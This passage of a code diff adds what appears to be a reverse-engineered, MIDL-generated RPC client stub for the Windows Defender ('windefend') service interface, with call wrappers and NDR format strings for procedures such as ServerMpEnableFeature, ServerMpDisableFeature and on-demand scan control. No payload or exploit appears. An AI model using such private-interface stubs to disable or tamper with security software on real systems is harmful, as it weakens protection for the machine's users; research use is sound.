PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 233, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc234_ServerMpRpcSCCForceReset( + /* [in] */ handle_t IDL_handle, + /* [size_is][in] */ unsigned char *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 234, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc235_ServerMpRpcPublishModularConfig( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 235, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +#if !defined(__RPC_WIN64__) +#error Invalid build platform for this stub. +#endif + +static const windefend_MIDL_PROC_FORMAT_STRING windefend__MIDL_ProcFormatString = + { + 0, + { + + /* Procedure Proc0_ServerMpEnableFeature */ + + 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 14 */ NdrFcShort( 0x10 ), /* 16 */ +/* 16 */ NdrFcShort( 0x24 ), /* 36 */ +/* 18 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 20 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 22 */ NdrFcShort( 0x0 ), /* 0 */ +/* 24 */ NdrFcShort( 0x0 ), /* 0 */ +/* 26 */ NdrFcShort( 0x0 ), /* 0 */ +/* 28 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 30 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 32 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 34 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 36 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 38 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 40 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 42 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 44 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 46 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 48 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 50 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 52 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc1_ServerMpDisableFeature */ + +/* 54 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 56 */ NdrFcLong( 0x0 ), /* 0 */ +/* 60 */ NdrFcShort( 0x1 ), /* 1 */ +/* 62 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 64 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 66 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 68 */ NdrFcShort( 0x8 ), /* 8 */ +/* 70 */ NdrFcShort( 0x24 ), /* 36 */ +/* 72 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 74 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 76 */ NdrFcShort( 0x0 ), /* 0 */ +/* 78 */ NdrFcShort( 0x0 ), /* 0 */ +/* 80 */ NdrFcShort( 0x0 ), /* 0 */ +/* 82 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 84 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 86 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 88 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 90 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 92 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 94 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 96 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 98 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 100 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc2_ServerMpQueryStatus */ + +/* 102 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 104 */ NdrFcLong( 0x0 ), /* 0 */ +/* 108 */ NdrFcShort( 0x2 ), /* 2 */ +/* 110 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 112 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 114 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 116 */ NdrFcShort( 0x10 ), /* 16 */ +/* 118 */ NdrFcShort( 0x24 ), /* 36 */ +/* 120 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 122 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 124 */ NdrFcShort( 0x0 ), /* 0 */ +/* 126 */ NdrFcShort( 0x0 ), /* 0 */ +/* 128 */ NdrFcShort( 0x0 ), /* 0 */ +/* 130 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 132 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 134 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 136 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 138 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 140 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 142 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 144 */ NdrFcShort( 0x113 ), /* Flags: must size, must free, out, simple ref, */ +/* 146 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 148 */ NdrFcShort( 0x90 ), /* Type Offset=144 */ + + /* Parameter arg_4 */ + +/* 150 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 152 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 154 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 156 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 158 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 160 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc3_ServerMpEventOpen */ + +/* 162 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 164 */ NdrFcLong( 0x0 ), /* 0 */ +/* 168 */ NdrFcShort( 0x3 ), /* 3 */ +/* 170 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 172 */ NdrFcShort( 0x20 ), /* 32 */ +/* 174 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 176 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x8, /* 8 */ +/* 178 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 180 */ NdrFcShort( 0x0 ), /* 0 */ +/* 182 */ NdrFcShort( 0x0 ), /* 0 */ +/* 184 */ NdrFcShort( 0x0 ), /* 0 */ +/* 186 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 188 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 190 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 192 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 194 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 196 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 198 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 200 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 202 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 204 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 206 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 208 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 210 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 212 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 214 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 216 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_6 */ + +/* 218 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 220 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 222 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_7 */ + +/* 224 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 226 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 228 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 230 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 232 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 234 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc4_ServerMpEventClose */ + +/* 236 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 238 */ NdrFcLong( 0x0 ), /* 0 */ +/* 242 */ NdrFcShort( 0x4 ), /* 4 */ +/* 244 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 246 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 248 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 250 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 252 */ NdrFcShort( 0x38 ), /* 56 */ +/* 254 */ NdrFcShort( 0x5c ), /* 92 */ +/* 256 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 258 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 260 */ NdrFcShort( 0x0 ), /* 0 */ +/* 262 */ NdrFcShort( 0x0 ), /* 0 */ +/* 264 */ NdrFcShort( 0x0 ), /* 0 */ +/* 266 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 268 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 270 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 272 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 274 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 276 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 278 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 280 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 282 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 284 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc5_ServerMpEventQueryNotification */ + +/* 286 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 288 */ NdrFcLong( 0x0 ), /* 0 */ +/* 292 */ NdrFcShort( 0x5 ), /* 5 */ +/* 294 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 296 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 298 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 300 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 302 */ NdrFcShort( 0x24 ), /* 36 */ +/* 304 */ NdrFcShort( 0x24 ), /* 36 */ +/* 306 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 308 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 310 */ NdrFcShort( 0x1 ), /* 1 */ +/* 312 */ NdrFcShort( 0x0 ), /* 0 */ +/* 314 */ NdrFcShort( 0x0 ), /* 0 */ +/* 316 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 318 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 320 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 322 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 324 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 326 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 328 */ NdrFcShort( 0xcc ), /* Type Offset=204 */ + + /* Parameter arg_2 */ + +/* 330 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 332 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 334 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 336 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 338 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 340 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc6_ServerMpOnDemandStartScan */ + +/* 342 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 344 */ NdrFcLong( 0x0 ), /* 0 */ +/* 348 */ NdrFcShort( 0x6 ), /* 6 */ +/* 350 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 352 */ NdrFcShort( 0x28 ), /* 40 */ +/* 354 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 356 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xa, /* 10 */ +/* 358 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 360 */ NdrFcShort( 0x0 ), /* 0 */ +/* 362 */ NdrFcShort( 0x1 ), /* 1 */ +/* 364 */ NdrFcShort( 0x0 ), /* 0 */ +/* 366 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 368 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 370 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 372 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 374 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 376 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 378 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 380 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 382 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 384 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 386 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 388 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 390 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 392 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 394 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 396 */ NdrFcShort( 0x3e0 ), /* Type Offset=992 */ + + /* Parameter arg_6 */ + +/* 398 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 400 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 402 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 404 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 406 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 408 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_8 */ + +/* 410 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 412 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 414 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_9 */ + +/* 416 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 418 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 420 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 422 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 424 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 426 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc7_ServerMpOnDemandQueryNotification */ + +/* 428 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 430 */ NdrFcLong( 0x0 ), /* 0 */ +/* 434 */ NdrFcShort( 0x7 ), /* 7 */ +/* 436 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 438 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 440 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 442 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 444 */ NdrFcShort( 0x24 ), /* 36 */ +/* 446 */ NdrFcShort( 0x24 ), /* 36 */ +/* 448 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 450 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 452 */ NdrFcShort( 0x1 ), /* 1 */ +/* 454 */ NdrFcShort( 0x0 ), /* 0 */ +/* 456 */ NdrFcShort( 0x0 ), /* 0 */ +/* 458 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 460 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 462 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 464 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 466 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 468 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 470 */ NdrFcShort( 0xcc ), /* Type Offset=204 */ + + /* Parameter arg_2 */ + +/* 472 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 474 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 476 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 478 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 480 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 482 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc8_ServerMpOnDemandQueryScanResult */ + +/* 484 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 486 */ NdrFcLong( 0x0 ), /* 0 */ +/* 490 */ NdrFcShort( 0x8 ), /* 8 */ +/* 492 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 494 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 496 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 498 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 500 */ NdrFcShort( 0x24 ), /* 36 */ +/* 502 */ NdrFcShort( 0x24 ), /* 36 */ +/* 504 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 506 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 508 */ NdrFcShort( 0x0 ), /* 0 */ +/* 510 */ NdrFcShort( 0x0 ), /* 0 */ +/* 512 */ NdrFcShort( 0x0 ), /* 0 */ +/* 514 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 516 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 518 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 520 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 522 */ NdrFcShort( 0x113 ), /* Flags: must size, must free, out, simple ref, */ +/* 524 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 526 */ NdrFcShort( 0x4e ), /* Type Offset=78 */ + + /* Parameter arg_2 */ + +/* 528 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 530 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 532 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 534 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 536 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 538 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc9_ServerMpOnDemandControlScan */ + +/* 540 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 542 */ NdrFcLong( 0x0 ), /* 0 */ +/* 546 */ NdrFcShort( 0x9 ), /* 9 */ +/* 548 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 550 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 552 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 554 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 556 */ NdrFcShort( 0x2c ), /* 44 */ +/* 558 */ NdrFcShort( 0x24 ), /* 36 */ +/* 560 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 562 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 564 */ NdrFcShort( 0x0 ), /* 0 */ +/* 566 */ NdrFcShort( 0x0 ), /* 0 */ +/* 568 */ NdrFcShort( 0x0 ), /* 0 */ +/* 570 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 572 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 574 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 576 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 578 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 580 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 582 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 584 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 586 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 588 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 590 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 592 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 594 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc10_ServerMpOnDemandControlSystemScan */ + +/* 596 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 598 */ NdrFcLong( 0x0 ), /* 0 */ +/* 602 */ NdrFcShort( 0xa ), /* 10 */ +/* 604 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 606 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 608 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 610 */ NdrFcShort( 0x8 ), /* 8 */ +/* 612 */ NdrFcShort( 0x24 ), /* 36 */ +/* 614 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 616 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 618 */ NdrFcShort( 0x0 ), /* 0 */ +/* 620 */ NdrFcShort( 0x0 ), /* 0 */ +/* 622 */ NdrFcShort( 0x0 ), /* 0 */ +/* 624 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 626 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 628 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 630 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 632 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 634 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 636 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 638 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 640 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 642 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc11_ServerMpOnDemandPersistScan */ + +/* 644 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 646 */ NdrFcLong( 0x0 ), /* 0 */ +/* 650 */ NdrFcShort( 0xb ), /* 11 */ +/* 652 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 654 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 656 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 658 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 660 */ NdrFcShort( 0x2c ), /* 44 */ +/* 662 */ NdrFcShort( 0x24 ), /* 36 */ +/* 664 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 666 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 668 */ NdrFcShort( 0x0 ), /* 0 */ +/* 670 */ NdrFcShort( 0x0 ), /* 0 */ +/* 672 */ NdrFcShort( 0x0 ), /* 0 */ +/* 674 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 676 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 678 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 680 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 682 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 684 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 686 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 688 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 690 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 692 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 694 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 696 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 698 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc12_ServerMpOnDemandCloseScan */ + +/* 700 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 702 */ NdrFcLong( 0x0 ), /* 0 */ +/* 706 */ NdrFcShort( 0xc ), /* 12 */ +/* 708 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 710 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 712 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 714 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 716 */ NdrFcShort( 0x38 ), /* 56 */ +/* 718 */ NdrFcShort( 0x5c ), /* 92 */ +/* 720 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 722 */ 0xa, /* 10 */ + 0x1, /* Ext 